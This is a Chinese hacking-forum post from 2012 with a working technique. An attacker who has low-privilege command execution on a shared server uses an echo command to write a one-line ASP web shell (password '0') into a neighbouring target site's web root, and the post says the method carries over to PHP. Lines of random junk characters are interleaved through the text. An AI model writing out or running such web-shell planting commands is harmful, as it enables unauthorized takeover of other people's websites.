在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。
5 g2 N0 Z- K! M& N! J& w4 L0 \
0 X- Z& x' Q2 O6 I命令格式
. ~& o! D5 o% o: {" l- Y& o% |/ H7 m' Y% k4 V. Y+ f6 H
Echo 语句 >目标站绝对目录+ R* P5 t0 n/ B4 b
- {1 b$ \! j# K. t例如： & F9 C$ e& V+ N6 c6 l( g; F% n
$ W5 D* v/ _5 w
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp
. K" T) f* H# p1 n( {/ j
3 u7 ?; ?8 x& `/ j1 \这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。! Q8 I9 V' }) g2 `0 x3 B3 U# K& p
|
发表于 2012-9-23 14:40:24
收藏
支持
反对